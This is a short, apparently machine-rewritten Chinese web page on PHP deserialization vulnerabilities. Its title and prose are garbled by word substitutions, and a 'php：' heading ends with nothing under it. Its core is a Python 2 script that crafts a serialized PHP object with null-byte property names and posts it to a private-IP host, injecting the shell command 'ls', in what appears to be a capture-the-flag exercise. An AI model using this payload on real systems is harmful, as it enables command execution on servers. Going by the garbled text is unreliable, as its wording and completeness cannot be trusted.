PHP反序列化裂痕简介及相干能力小结

通过decode和encode来举办编码

import requests 
s = requests.session() 
url = "http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag" 
n = '00'.decode('hex') 
o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:3:"&ls";}}' 
r = requests.post(url,data={"come":o}) 
print(r.text) 

php：

（编辑：湖南网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!